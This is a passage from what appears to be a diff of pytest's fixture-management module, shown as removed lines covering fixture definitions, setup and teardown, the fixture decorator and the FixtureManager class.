self.firstlineno = firstlineno - self.argname = argname - - def toterminal(self, tw: TerminalWriter) -> None: - # tw.line("FixtureLookupError: %s" %(self.argname), red=True) - for tbline in self.tblines: - tw.line(tbline.rstrip()) - lines = self.errorstring.split("\n") - if lines: - tw.line( - f"{ExceptionInfoFormatter.fail_marker} {lines[0].strip()}", - red=True, - ) - for line in lines[1:]: - tw.line( - f"{ExceptionInfoFormatter.flow_marker} {line.strip()}", - red=True, - ) - tw.line() - tw.line(f"{os.fspath(self.filename)}:{self.firstlineno + 1}") - - -def call_fixture_func( - fixturefunc: _FixtureFunc[FixtureValue], request: FixtureRequest, kwargs -) -> FixtureValue: - if inspect.isgeneratorfunction(fixturefunc): - fixturefunc = cast(Callable[..., Generator[FixtureValue]], fixturefunc) - generator = fixturefunc(**kwargs) - try: - fixture_result = next(generator) - except StopIteration: - raise ValueError(f"{request.fixturename} did not yield a value") from None - finalizer = functools.partial(_teardown_yield_fixture, fixturefunc, generator) - request.addfinalizer(finalizer) - else: - fixturefunc = cast(Callable[..., FixtureValue], fixturefunc) - fixture_result = fixturefunc(**kwargs) - return fixture_result - - -def _teardown_yield_fixture(fixturefunc, it) -> None: - """Execute the teardown of a fixture function by advancing the iterator - after the yield and ensure the iteration ends (if not it means there is - more than one yield in the function).""" - try: - next(it) - except StopIteration: - pass - else: - fs, lineno = getfslineno(fixturefunc) - fail( - f"fixture function has more than one 'yield':\n\n" - f"{Source(fixturefunc).indent()}\n" - f"{fs}:{lineno + 1}", - pytrace=False, - ) - - -def _eval_scope_callable( - scope_callable: Callable[[str, Config], ScopeName], - fixture_name: str, - config: Config, -) -> ScopeName: - try: - # Type ignored because there is no typing mechanism to specify - # keyword arguments, currently. - result = scope_callable(fixture_name=fixture_name, config=config) # type: ignore[call-arg] - except Exception as e: - raise TypeError( - f"Error evaluating {scope_callable} while defining fixture '{fixture_name}'.\n" - "Expected a function with the signature (*, fixture_name, config)" - ) from e - if not isinstance(result, str): - fail( - f"Expected {scope_callable} to return a 'str' while defining fixture '{fixture_name}', but it returned:\n" - f"{result!r}", - pytrace=False, - ) - return result - - -class FixtureDef(Generic[FixtureValue]): - """A container for a fixture definition. - - Note: At this time, only explicitly documented fields and methods are - considered public stable API. - """ - - def __init__( - self, - config: Config, - baseid: str | None | NotSetType, - argname: str, - func: _FixtureFunc[FixtureValue], - scope: Scope | ScopeName | Callable[[str, Config], ScopeName] | None, - params: Sequence[object] | None, - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None, - *, - node: nodes.Node | NotSetType = NOTSET, - # only used in a deprecationwarning msg, can be removed in pytest9 - _autouse: bool = False, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - # Emit deprecation warning if deprecated baseid string is used. - if node is NOTSET: - warnings.warn(FIXTURE_BASEID_DEPRECATED, stacklevel=2) - if baseid is NOTSET: - baseid = None - # The node where this fixture was defined, if available. - # Used for node-based matching which is more robust than string matching. - self.node: Final = node if node is not NOTSET else None - # The "base" node ID for the fixture. - # - # This is a node ID prefix. A fixture is only available to a node (e.g. - # a `Function` item) if the fixture's baseid is a nodeid of a parent of - # node. - # - # For a fixture found in a Collector's object (e.g. a `Module`s module, - # a `Class`'s class), the baseid is the Collector's nodeid. - # - # For a fixture found in a conftest plugin, the baseid is the conftest's - # directory path relative to the rootdir. - # - # For other plugins, the baseid is the empty string (always matches). - # When node is available, baseid is derived from node.nodeid. - # - # Deprecated: replaced by ``node``. - self.baseid: Final = node.nodeid if node is not NOTSET else (baseid or "") - # Whether the fixture was found from a node or a conftest in the - # collection tree. Will be false for fixtures defined in non-conftest - # plugins. - # - # Deprecated: kept only to back the deprecated ``has_location`` property. - self._has_location: Final = node is not NOTSET or baseid is not None - # The fixture factory function. - self.func: Final = func - # The name by which the fixture may be requested. - self.argname: Final = argname - if scope is None: - scope = Scope.Function - elif callable(scope): - scope = _eval_scope_callable(scope, argname, config) - if isinstance(scope, str): - scope = Scope.from_user( - scope, descr=f"Fixture '{func.__name__}'", where=self.baseid - ) - self._scope: Final = scope - # If the fixture is directly parametrized, the parameter values. - self.params: Final = params - # If the fixture is directly parametrized, a tuple of explicit IDs to - # assign to the parameter values, or a callable to generate an ID given - # a parameter value. - self.ids: Final = ids - # The names requested by the fixtures. - self.argnames: Final = getfuncargnames(func, name=argname) - # If the fixture was executed, the current value of the fixture. - # Can change if the fixture is executed with different parameters. - self.cached_result: _FixtureCachedResult[FixtureValue] | None = None - self._finalizers: Final[list[Callable[[], object]]] = [] - - # only used to emit a deprecationwarning, can be removed in pytest9 - self._autouse = _autouse - - @property - def scope(self) -> ScopeName: - """Scope string, one of "function", "class", "module", "package", "session".""" - return self._scope.value - - @property - def has_location(self) -> bool: - warnings.warn(FIXTUREDEF_HAS_LOCATION_DEPRECATED, stacklevel=2) - return self._has_location - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - self._finalizers.append(finalizer) - - def finish(self, request: SubRequest) -> None: - if self.cached_result is None: - # Already finished. It is assumed that finalizers cannot be added in - # this state. - return - - exceptions: list[BaseException] = [] - while self._finalizers: - fin = self._finalizers.pop() - try: - fin() - except BaseException as e: - exceptions.append(e) - node = request.node - # Even if finalization fails, we invalidate the cached fixture - # value and remove all finalizers because they may be bound methods - # which will keep instances alive. - self.cached_result = None - self._finalizers.clear() - if len(exceptions) == 1: - raise exceptions[0] - elif len(exceptions) > 1: - msg = f'errors while tearing down fixture "{self.argname}" of {node}' - raise BaseExceptionGroup(msg, exceptions[::-1]) - - def execute(self, request: SubRequest) -> FixtureValue: - """Return the value of this fixture, executing it if not cached.""" - # Ensure that the dependent fixtures requested by this fixture are loaded. - # This needs to be done before checking if we have a cached value, since - # if a dependent fixture has their cache invalidated, e.g. due to - # parametrization, they finalize themselves and fixtures depending on it - # (which will likely include this fixture) setting `self.cached_result = None`. - # See #4871 - requested_fixtures_that_should_finalize_us = [] - for argname in self.argnames: - fixturedef = request._get_active_fixturedef(argname) - # Saves requested fixtures in a list so we later can add our finalizer - # to them, ensuring that if a requested fixture gets torn down we get torn - # down first. This is generally handled by SetupState, but still currently - # needed when this fixture is not parametrized but depends on a parametrized - # fixture. - requested_fixtures_that_should_finalize_us.append(fixturedef) - - # Check for (and return) cached value/exception. - if self.cached_result is not None: - request_cache_key = self.cache_key(request) - cache_key = self.cached_result[1] - try: - # Attempt to make a normal == check: this might fail for objects - # which do not implement the standard comparison (like numpy arrays -- #6497). - cache_hit = bool(request_cache_key == cache_key) - except (ValueError, RuntimeError): - # If the comparison raises, use 'is' as fallback. - cache_hit = request_cache_key is cache_key - - if cache_hit: - if self.cached_result[2] is not None: - exc, exc_tb = self.cached_result[2] - raise exc.with_traceback(exc_tb) - else: - return self.cached_result[0] - # We have a previous but differently parametrized fixture instance - # so we need to tear it down before creating a new one. - self.finish(request) - assert self.cached_result is None - - # Add finalizer to requested fixtures we saved previously. - # We make sure to do this after checking for cached value to avoid - # adding our finalizer multiple times. (#12135) - finalizer = functools.partial(self.finish, request=request) - for parent_fixture in requested_fixtures_that_should_finalize_us: - parent_fixture.addfinalizer(finalizer) - - # Register the pytest_fixture_post_finalizer as the first finalizer, - # which is executed last. - assert not self._finalizers - self.addfinalizer( - lambda: request.node.ihook.pytest_fixture_post_finalizer( - fixturedef=self, request=request - ) - ) - - ihook = request.node.ihook - try: - # Setup the fixture, run the code in it, and cache the value - # in self.cached_result. - result: FixtureValue = ihook.pytest_fixture_setup( - fixturedef=self, request=request - ) - finally: - # Schedule our finalizer, even if the setup failed. - request.node.addfinalizer(finalizer) - - return result - - def cache_key(self, request: SubRequest) -> object: - return getattr(request, "param", None) - - def __repr__(self) -> str: - return f"" - - -class RequestFixtureDef(FixtureDef[FixtureRequest]): - """A custom FixtureDef for the special "request" fixture. - - A new one is generated on-demand whenever "request" is requested. - """ - - def __init__(self, request: FixtureRequest) -> None: - super().__init__( - config=request.config, - baseid=NOTSET, - argname="request", - func=lambda: request, - scope=Scope.Function, - params=None, - node=request.node, - _ispytest=True, - ) - self.cached_result = (request, [0], None) - - def addfinalizer(self, finalizer: Callable[[], object]) -> None: - pass - - -def resolve_fixture_function( - fixturedef: FixtureDef[FixtureValue], request: FixtureRequest -) -> _FixtureFunc[FixtureValue]: - """Get the actual callable that can be called to obtain the fixture - value.""" - fixturefunc = fixturedef.func - # The fixture function needs to be bound to the actual - # request.instance so that code working with "fixturedef" behaves - # as expected. - instance = request.instance - - if fixturedef._scope is Scope.Class: - # Check if fixture is an instance method (bound to instance, not class) - if hasattr(fixturefunc, "__self__"): - bound_to = fixturefunc.__self__ - # classmethod: bound_to is the class itself (a type) - # instance method: bound_to is an instance (not a type) - if not isinstance(bound_to, type): - warnings.warn(CLASS_FIXTURE_INSTANCE_METHOD, stacklevel=2) - - if instance is not None: - # Handle the case where fixture is defined not in a test class, but some other class - # (for example a plugin class with a fixture), see #2270. - if hasattr(fixturefunc, "__self__") and not isinstance( - instance, - fixturefunc.__self__.__class__, - ): - return fixturefunc - fixturefunc = getimfunc(fixturedef.func) - if fixturefunc != fixturedef.func: - fixturefunc = fixturefunc.__get__(instance) - return fixturefunc - - -def pytest_fixture_setup( - fixturedef: FixtureDef[FixtureValue], request: SubRequest -) -> FixtureValue: - """Execution of fixture setup.""" - kwargs = {} - for argname in fixturedef.argnames: - kwargs[argname] = request.getfixturevalue(argname) - - fixturefunc = resolve_fixture_function(fixturedef, request) - my_cache_key = fixturedef.cache_key(request) - - if inspect.isasyncgenfunction(fixturefunc) or inspect.iscoroutinefunction( - fixturefunc - ): - auto_str = " with autouse=True" if fixturedef._autouse else "" - fail( - f"{request.node.name!r} requested an async fixture {request.fixturename!r}{auto_str}, " - "with no plugin or hook that handled it. This is an error, as pytest does not natively support it.\n" - "See: https://docs.pytest.org/en/stable/deprecations.html#sync-test-depending-on-async-fixture", - pytrace=False, - ) - - try: - result = call_fixture_func(fixturefunc, request, kwargs) - except TEST_OUTCOME as e: - if isinstance(e, skip.Exception): - # The test requested a fixture which caused a skip. - # Don't show the fixture as the skip location, as then the user - # wouldn't know which test skipped. - e._use_item_location = True - fixturedef.cached_result = (None, my_cache_key, (e, e.__traceback__)) - raise - fixturedef.cached_result = (result, my_cache_key, None) - return result - - -@final -@dataclasses.dataclass(frozen=True) -class FixtureFunctionMarker: - scope: ScopeName | Callable[[str, Config], ScopeName] - params: tuple[object, ...] | None - autouse: bool = False - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None - name: str | None = None - - _ispytest: dataclasses.InitVar[bool] = False - - def __post_init__(self, _ispytest: bool) -> None: - check_ispytest(_ispytest) - - def __call__(self, function: FixtureFunction) -> FixtureFunctionDefinition: - if inspect.isclass(function): - raise ValueError("class fixtures not supported (maybe in the future)") - - if isinstance(function, FixtureFunctionDefinition): - raise ValueError( - f"@pytest.fixture is being applied more than once to the same function {function.__name__!r}" - ) - - if hasattr(function, "pytestmark"): - fail( - "Marks cannot be applied to fixtures.\n" - "See docs: https://docs.pytest.org/en/stable/deprecations.html#applying-a-mark-to-a-fixture-function" - ) - - fixture_definition = FixtureFunctionDefinition( - function=function, fixture_function_marker=self, _ispytest=True - ) - - name = self.name or function.__name__ - if name == "request": - location = getlocation(function) - fail( - f"'request' is a reserved word for fixtures, use another name:\n {location}", - pytrace=False, - ) - - return fixture_definition - - -# TODO: paramspec/return type annotation tracking and storing -class FixtureFunctionDefinition: - def __init__( - self, - *, - function: Callable[..., Any], - fixture_function_marker: FixtureFunctionMarker, - instance: object | None = None, - _ispytest: bool = False, - ) -> None: - check_ispytest(_ispytest) - self.name = fixture_function_marker.name or function.__name__ - # In order to show the function that this fixture contains in messages. - # Set the __name__ to be same as the function __name__ or the given fixture name. - self.__name__ = self.name - self._fixture_function_marker = fixture_function_marker - if instance is not None: - self._fixture_function = cast( - Callable[..., Any], function.__get__(instance) - ) - else: - self._fixture_function = function - functools.update_wrapper(self, function) - - def __repr__(self) -> str: - return f"" - - def __get__(self, instance, owner=None): - """Behave like a method if the function it was applied to was a method.""" - return FixtureFunctionDefinition( - function=self._fixture_function, - fixture_function_marker=self._fixture_function_marker, - instance=instance, - _ispytest=True, - ) - - def __call__(self, *args: Any, **kwds: Any) -> Any: - message = ( - f'Fixture "{self.name}" called directly. Fixtures are not meant to be called directly,\n' - "but are created automatically when test functions request them as parameters.\n" - "See https://docs.pytest.org/en/stable/explanation/fixtures.html for more information about fixtures, and\n" - "https://docs.pytest.org/en/stable/deprecations.html#calling-fixtures-directly" - ) - fail(message, pytrace=False) - - def _get_wrapped_function(self) -> Callable[..., Any]: - return self._fixture_function - - -@overload -def fixture( - fixture_function: Callable[..., object], - *, - scope: ScopeName | Callable[[str, Config], ScopeName] = ..., - params: Iterable[object] | None = ..., - autouse: bool = ..., - ids: Sequence[object | None] | Callable[[Any], object | None] | None = ..., - name: str | None = ..., -) -> FixtureFunctionDefinition: ... - - -@overload -def fixture( - fixture_function: None = ..., - *, - scope: ScopeName | Callable[[str, Config], ScopeName] = ..., - params: Iterable[object] | None = ..., - autouse: bool = ..., - ids: Sequence[object | None] | Callable[[Any], object | None] | None = ..., - name: str | None = None, -) -> FixtureFunctionMarker: ... - - -def fixture( - fixture_function: FixtureFunction | None = None, - *, - scope: ScopeName | Callable[[str, Config], ScopeName] = "function", - params: Iterable[object] | None = None, - autouse: bool = False, - ids: Sequence[object | None] | Callable[[Any], object | None] | None = None, - name: str | None = None, -) -> FixtureFunctionMarker | FixtureFunctionDefinition: - """Decorator to mark a fixture factory function. - - This decorator can be used, with or without parameters, to define a - fixture function. - - The name of the fixture function can later be referenced to cause its - invocation ahead of running tests: test modules or classes can use the - ``pytest.mark.usefixtures(fixturename)`` marker. - - Test functions can directly use fixture names as input arguments in which - case the fixture instance returned from the fixture function will be - injected. - - Fixtures can provide their values to test functions using ``return`` or - ``yield`` statements. When using ``yield`` the code block after the - ``yield`` statement is executed as teardown code regardless of the test - outcome, and must yield exactly once. - - :param scope: - The scope for which this fixture is shared; one of ``"function"`` - (default), ``"class"``, ``"module"``, ``"package"`` or ``"session"``. - - This parameter may also be a callable which receives ``(fixture_name, config)`` - as parameters, and must return a ``str`` with one of the values mentioned above. - - See :ref:`dynamic scope` in the docs for more information. - - :param params: - An optional list of parameters which will cause multiple invocations - of the fixture function and all of the tests using it. The current - parameter is available in ``request.param``. - - :param autouse: - If True, the fixture func is activated for all tests that can see it. - If False (the default), an explicit reference is needed to activate - the fixture. - - :param ids: - Sequence of ids each corresponding to the params so that they are - part of the test id. If no ids are provided they will be generated - automatically from the params. - - :param name: - The name of the fixture. This defaults to the name of the decorated - function. If a fixture is used in the same module in which it is - defined, the function name of the fixture will be shadowed by the - function arg that requests the fixture; one way to resolve this is to - name the decorated function ``fixture_`` and then use - ``@pytest.fixture(name='')``. - """ - fixture_marker = FixtureFunctionMarker( - scope=scope, - params=tuple(params) if params is not None else None, - autouse=autouse, - ids=None if ids is None else ids if callable(ids) else tuple(ids), - name=name, - _ispytest=True, - ) - - # Direct decoration. - if fixture_function: - return fixture_marker(fixture_function) - - return fixture_marker - - -@deprecated( - "@pytest.yield_fixture is deprecated. Use @pytest.fixture instead; they are the same.", - category=None, # We have our own runtime warning logic -) -def yield_fixture( - fixture_function=None, - *args, - scope="function", - params=None, - autouse=False, - ids=None, - name=None, -): - """(Return a) decorator to mark a yield-fixture factory function. - - .. deprecated:: 3.0 - Use :py:func:`pytest.fixture` directly instead. - """ - warnings.warn(YIELD_FIXTURE, stacklevel=2) - return fixture( - fixture_function, - *args, - scope=scope, - params=params, - autouse=autouse, - ids=ids, - name=name, - ) - - -@fixture(scope="session") -def pytestconfig(request: FixtureRequest) -> Config: - """Session-scoped fixture that returns the session's :class:`pytest.Config` - object. - - Example:: - - def test_foo(pytestconfig): - if pytestconfig.get_verbosity() > 0: - ... - - """ - return request.config - - -def pytest_addoption(parser: Parser) -> None: - parser.addini( - "usefixtures", - type="args", - default=[], - help="List of default fixtures to be used with this project", - ) - group = parser.getgroup("general") - group.addoption( - "--fixtures", - "--funcargs", - action="store_true", - dest="showfixtures", - default=False, - help="Show available fixtures, sorted by plugin appearance " - "(fixtures with leading '_' are only shown with '-v')", - ) - group.addoption( - "--fixtures-per-test", - action="store_true", - dest="show_fixtures_per_test", - default=False, - help="Show fixtures per test", - ) - - -def pytest_cmdline_main(config: Config) -> int | ExitCode | None: - if config.option.showfixtures: - showfixtures(config) - return 0 - if config.option.show_fixtures_per_test: - show_fixtures_per_test(config) - return 0 - return None - - -def _resolve_args_directness( - argnames: Sequence[str], - indirect: bool | Sequence[str], - nodeid: str, -) -> dict[str, Literal["indirect", "direct"]]: - """Resolve if each parametrized argument must be considered an indirect - parameter to a fixture of the same name, or a direct parameter to the - parametrized function, based on the ``indirect`` parameter of the - parametrize() call. - - :param argnames: - List of argument names passed to ``parametrize()``. - :param indirect: - Same as the ``indirect`` parameter of ``parametrize()``. - :param nodeid: - Node ID to which the parametrization is applied. - :returns: - A dict mapping each arg name to either "indirect" or "direct". - """ - arg_directness: dict[str, Literal["indirect", "direct"]] - if isinstance(indirect, bool): - arg_directness = dict.fromkeys(argnames, "indirect" if indirect else "direct") - elif isinstance(indirect, Sequence): - arg_directness = dict.fromkeys(argnames, "direct") - for arg in indirect: - if arg not in argnames: - fail( - f"In {nodeid}: indirect fixture '{arg}' doesn't exist", - pytrace=False, - ) - arg_directness[arg] = "indirect" - else: - fail( - f"In {nodeid}: expected Sequence or boolean for indirect, got {type(indirect).__name__}", - pytrace=False, - ) - return arg_directness - - -def _get_direct_parametrize_args(node: nodes.Node) -> set[str]: - """Return all direct parametrization arguments of a node, so we don't - mistake them for fixtures. - - Check https://github.com/pytest-dev/pytest/issues/5036. - - These things are done later as well when dealing with parametrization - so this could be improved. - """ - parametrize_argnames: set[str] = set() - for marker in node.iter_markers(name="parametrize"): - indirect = marker.kwargs.get("indirect", False) - p_argnames, _ = ParameterSet._parse_parametrize_args( - *marker.args, **marker.kwargs - ) - p_directness = _resolve_args_directness(p_argnames, indirect, node.nodeid) - parametrize_argnames.update( - argname - for argname, directness in p_directness.items() - if directness == "direct" - ) - return parametrize_argnames - - -def deduplicate_names(*seqs: Iterable[str]) -> tuple[str, ...]: - """De-duplicate the sequence of names while keeping the original order.""" - # Ideally we would use a set, but it does not preserve insertion order. - return tuple(dict.fromkeys(name for seq in seqs for name in seq)) - - -class FixtureManager: - """pytest fixture definitions and information is stored and managed - from this class. - - During collection fm.parsefactories() is called multiple times to parse - fixture function definitions into FixtureDef objects and internal - data structures. - - During collection of test functions, metafunc-mechanics instantiate - a FuncFixtureInfo object which is cached per node/func-name. - This FuncFixtureInfo object is later retrieved by Function nodes - which themselves offer a fixturenames attribute. - - The FuncFixtureInfo object holds information about fixtures and FixtureDefs - relevant for a particular function. An initial list of fixtures is - assembled like this: - - - config-defined usefixtures - - autouse-marked fixtures along the collection chain up from the function - - usefixtures markers at module/class/function level - - test function funcargs - - Subsequently the funcfixtureinfo.fixturenames attribute is computed - as the closure of the fixtures needed to setup the initial fixtures, - i.e. fixtures needed by fixture functions themselves are appended - to the fixturenames list. - - Upon the test-setup phases all fixturenames are instantiated, retrieved - by a lookup of their FuncFixtureInfo. - """ - - def __init__(self, session: Session) -> None: - self.session = session - self.config: Config = session.config - # Maps a fixture name (argname) to all of the FixtureDefs in the test - # suite/plugins defined with this name. Populated by parsefactories(). - # TODO: The order of the FixtureDefs list of each arg is significant, - # explain. - self._arg2fixturedefs: Final[dict[str, list[FixtureDef[Any]]]] = {} - # A mapping from a node to a list of autouse fixture names it defines. - # The Session entry holds global usefixtures from config. - self._node_autousenames: Final[dict[nodes.Node, list[str]]] = { - session: list(self.config.getini("usefixtures")), - } - # Legacy fallback: nodeid string -> autouse names, for plugins still - # using the deprecated nodeid-based API without a node reference. - self._nodeid_autousenames: Final[dict[str, list[str]]] = {} - # Pending conftest modules waiting to be parsed when their Directory is collected. - # Maps directory path -> conftest plugin module. - self._pending_conftests: Final[dict[Path, object]] = {} - session.config.pluginmanager.register(self, "funcmanage") - # Flush initial conftests from directories above rootpath immediately. - # These will never get a Directory collector, so they need Session scope. - # This must happen here (not in pytest_make_collect_report) because - # collection may fail before Session collection starts (e.g. bad args). - self._flush_pending_conftests_to_session(session) - - def getfixtureinfo( - self, - node: nodes.Item, - func: Callable[..., object] | None, - cls: type | None, - ) -> FuncFixtureInfo: - """Calculate the :class:`FuncFixtureInfo` for an item. - - If ``func`` is None, or if the item sets an attribute - ``nofuncargs = True``, then ``func`` is not examined at all. - - :param node: - The item requesting the fixtures. - :param func: - The item's function. - :param cls: - If the function is a method, the method's class. - """ - if func is not None and not getattr(node, "nofuncargs", False): - argnames = getfuncargnames(func, name=node.name, cls=cls) - else: - argnames = () - usefixturesnames = self._getusefixturesnames(node) - autousenames = self._getautousenames(node) - initialnames = deduplicate_names(autousenames, usefixturesnames, argnames) - - direct_parametrize_args = _get_direct_parametrize_args(node) - - names_closure, arg2fixturedefs = self.getfixtureclosure( - parentnode=node, - initialnames=initialnames, - ignore_args=direct_parametrize_args, - ) - - return FuncFixtureInfo(argnames, initialnames, names_closure, arg2fixturedefs) - - def pytest_plugin_registered(self, plugin: _PluggyPlugin, plugin_name: str) -> None: - # Fixtures defined in conftest plugins are only visible to within the - # conftest's directory. This is unlike fixtures in non-conftest plugins - # which have global visibility. Conftest fixtures are deferred until - # their Directory is collected, so we can use the Directory's nodeid. - if plugin_name and plugin_name.endswith("conftest.py"): - # Note: we explicitly do *not* use `plugin.__file__` here -- The - # difference is that plugin_name has the correct capitalization on - # case-insensitive systems (Windows) and other normalization issues - # (issue #11816). - conftestpath = absolutepath(plugin_name) - conftest_dir = conftestpath.parent - # Store conftest for deferred parsing when its Directory is collected. - self._pending_conftests[conftest_dir] = plugin - else: - # Non-conftest plugins have global visibility. - self.parsefactories(holder=plugin, node=self.session) - - @hookimpl(wrapper=True) - def pytest_make_collect_report( - self, collector: nodes.Collector - ) -> Generator[None, CollectReport, CollectReport]: - result = yield - if isinstance(collector, nodes.Directory): - plugin = self._pending_conftests.pop(collector.path, None) - if plugin is not None: - self.parsefactories(holder=plugin, node=collector) - return result - - def _flush_pending_conftests_to_session(self, session: Session) -> None: - """Assign Session scope to initial conftests whose directories won't - be collected as Directory nodes (e.g. ancestors above rootdir).""" - rootpath = session.config.rootpath - orphaned: list[tuple[Path, object]] = [] - for conftest_dir, plugin in list(self._pending_conftests.items()): - # If the conftest dir is not under rootpath, it will never get - # a Directory collector — assign it to Session now. - try: - conftest_dir.relative_to(rootpath) - except ValueError: - orphaned.append((conftest_dir, plugin)) - for conftest_dir, plugin in orphaned: - del self._pending_conftests[conftest_dir] - self.parsefactories(holder=plugin, node=session) - - def pytest_collection_finish(self) -> None: - """Clean up any conftests that were never collected by a Directory. - - After __init__ flushes above-rootdir conftests and collection pops - under-rootdir ones, remaining entries mean collection was interrupted - (e.g. UsageError for a bad path). These conftests' fixtures aren't - needed since their directories' tests weren't collected either. - """ - self._pending_conftests.clear() - - def _getautousenames(self, node: nodes.Node) -> Iterator[str]: - """Return the names of autouse fixtures applicable to node.""" - for parentnode in node.listchain(): - basenames = self._node_autousenames.get(parentnode) - if basenames: - yield from basenames - # Legacy fallback: check string-based nodeid autouse names. - nodeid_basenames = self._nodeid_autousenames.get(parentnode.nodeid) - if nodeid_basenames: - yield from nodeid_basenames - - def _getusefixturesnames(self, node: nodes.Item) -> Iterator[str]: - """Return the names of usefixtures fixtures applicable to node.""" - for marker_node, mark in node.iter_markers_with_node(name="usefixtures"): - if not mark.args: - marker_node.warn( - PytestWarning( - f"usefixtures() in {node.nodeid} without arguments has no effect" - ) - ) - yield from mark.args - - def getfixtureclosure( - self, - parentnode: nodes.Node, - initialnames: tuple[str, ...], - ignore_args: AbstractSet[str], - ) -> tuple[list[str], dict[str, Sequence[FixtureDef[Any]]]]: - # Collect the closure of all fixtures, starting with the given - # fixturenames as the initial set. As we have to visit all - # factory definitions anyway, we also return an arg2fixturedefs - # mapping so that the caller can reuse it and does not have - # to re-discover fixturedefs again for each fixturename - # (discovering matching fixtures for a given name/node is expensive). - - arg2fixturedefs: dict[str, Sequence[FixtureDef[Any]]] = {} - - def getfixturedefs(argname: str) -> Sequence[FixtureDef[Any]] | None: - if argname in ignore_args: - return None - - fixturedefs = arg2fixturedefs.get(argname) - if not fixturedefs: - fixturedefs = self.getfixturedefs(argname, parentnode) - if not fixturedefs: - # Fixture not defined or not visible (will error during runtest). - return None - arg2fixturedefs[argname] = fixturedefs - return fixturedefs - - def sort_by_scope(arg_name: str) -> Scope: - try: - fixturedefs = arg2fixturedefs[arg_name] - except KeyError: - return Scope.Function - else: - return fixturedefs[-1]._scope - - fixturenames_closure = sorted( - traverse_fixture_closure( - initialnames, - getfixturedefs=getfixturedefs, - ), - key=sort_by_scope, - reverse=True, - ) - - return fixturenames_closure, arg2fixturedefs - - def pytest_generate_tests(self, metafunc: Metafunc) -> None: - """Generate new tests based on parametrized fixtures used by the given metafunc""" - - def get_parametrize_mark_argnames(mark: Mark) -> Sequence[str]: - args, _ = ParameterSet._parse_parametrize_args(*mark.args, **mark.kwargs) - return args - - for argname in metafunc.fixturenames: - # Get the FixtureDefs for the argname. - fixture_defs = metafunc._arg2fixturedefs.get(argname, ()) - - # If the test itself parametrizes using this argname, give it - # precedence. - if any( - argname in get_parametrize_mark_argnames(mark) - for mark in metafunc.definition.iter_markers("parametrize") - ): - continue - - # In the common case we only look at the fixture def with the - # closest scope (last in the list). But if the fixture overrides - # another fixture, while requesting the super fixture, keep going - # in case the super fixture is parametrized (#1953). - for fixturedef in reversed(fixture_defs): - # Fixture is parametrized, apply it and stop. - if fixturedef.params is not None: - metafunc.parametrize( - argname, - fixturedef.params, - indirect=True, - scope=fixturedef.scope, - ids=fixturedef.ids, - ) - break - - # Not requesting the overridden super fixture, stop. - # - # TODO: Handle the case where the super-fixture is transitively - # requested (see #7737 and the xfail'd test - # test_override_parametrized_fixture_via_transitive_fixture). - if argname not in fixturedef.argnames: - break - - # Try next super fixture, if any. - - def pytest_collection_modifyitems(self, items: list[nodes.Item]) -> None: - # Separate parametrized setups. - items[:] = reorder_items(items) - - def _register_fixture( - self, - *, - name: str, - func: _FixtureFunc[object], - nodeid: str | None | NotSetType = NOTSET, - scope: Scope | ScopeName | Callable[[str, Config], ScopeName] = "function", - params: Sequence[object] | None = None, - ids: tuple[object | None, ...] | Callable[[Any], object | None] | None = None, - autouse: bool = False, - node: nodes.Node | NotSetType = NOTSET, - ) -> None: - """Register a fixture - - :param name: - The fixture's name. - :param func: - The fixture's implementation function. - :param nodeid: - The visibility of the fixture (deprecated, use node instead). - The fixture will be available to the node with this nodeid and - its children in the collection tree. None means global visibility. - :param node: - The node where the fixture is defined (preferred over nodeid). - When provided, enables node-based matching which is more robust. - :param scope: - The fixture's scope. - :param params: - The fixture's parametrization params. - :param ids: - The fixture's IDs. - :param autouse: - Whether this is an autouse fixture. - """ - # Emit deprecation warning if nodeid string. - if nodeid is not NOTSET or node is NOTSET: - warnings.warn(FIXTURE_NODEID_DEPRECATED, stacklevel=2) - fixture_def = FixtureDef( - config=self.config, - baseid=nodeid, - argname=name, - func=func, - scope=scope, - params=params, - ids=ids, - _ispytest=True, - _autouse=autouse, - node=node, - ) - - faclist = self._arg2fixturedefs.setdefault(name, []) - # Insert the fixturedef into the list while maintaining a partial order - # based on visibility: a fixturedef whose visibility is more specific - # sorts after a more general one, so that it takes precedence in the - # override chain (the last applicable fixturedef in the list is used - # first, see getfixturedefs). - # fixturedefs with the same visibility keep registration order, i.e. the - # last registered wins. - # The order between non-comparable fixturedefs doesn't matter since they - # cannot be visible together. - # The idea is that a fixture that is defined closer to the item should - # take precedence. - for i, existing in enumerate(faclist): - if is_visibility_more_specific(existing, fixture_def): - faclist.insert(i, fixture_def) - break - else: - faclist.append(fixture_def) - if autouse: - if node is not NOTSET: - self._node_autousenames.setdefault(node, []).append(name) - elif nodeid is not NOTSET and nodeid is not None: - # Legacy: plugin passed nodeid string without node reference. - self._nodeid_autousenames.setdefault(nodeid, []).append(name) - else: - # Global plugin autouse fixtures go under Session. - self._node_autousenames.setdefault(self.session, []).append(name) - - @overload - def parsefactories( - self, - node_or_obj: nodes.Node, - ) -> None: - raise NotImplementedError() - - @overload - @deprecated( - "parsefactories(obj, nodeid) is deprecated, use parsefactories(holder=obj, node=node) instead" - ) - def parsefactories( - self, - node_or_obj: object, - nodeid: str | None, - ) -> None: - raise NotImplementedError() - - @overload - def parsefactories( - self, - node_or_obj: NotSetType = ..., - nodeid: NotSetType = ..., - *, - holder: object, - node: nodes.Node, - ) -> None: - raise NotImplementedError() - - def parsefactories( - self, - node_or_obj: nodes.Node | object | NotSetType = NOTSET, - nodeid: str | None | NotSetType = NOTSET, - *, - holder: object | NotSetType = NOTSET, - node: nodes.Node | NotSetType = NOTSET, - ) -> None: - """Collect fixtures from a collection node or object. - - Found fixtures are parsed into `FixtureDef`s and saved. - - The preferred API uses keyword-only arguments: - - ``holder``: The object to scan for fixtures. - - ``node``: The node determining fixture visibility. - - Legacy positional API (translated internally): - - ``parsefactories(node)``: Uses node.obj as holder, node for scope. - - ``parsefactories(obj, nodeid)``: Uses obj as holder, nodeid string for scope. - """ - # Translate legacy API to holder/node sources of truth - # Either effective_node or effective_nodeid will be set, not both - effective_node: nodes.Node | NotSetType = NOTSET - effective_nodeid: str | None | NotSetType = NOTSET - - if holder is not NOTSET: - # New API: holder and node explicitly provided - holderobj = holder - effective_node = node - elif node_or_obj is NOTSET: - raise TypeError("parsefactories() requires holder or node_or_obj") - elif nodeid is not NOTSET: - # Legacy: parsefactories(obj, nodeid) - string-based scoping only. - 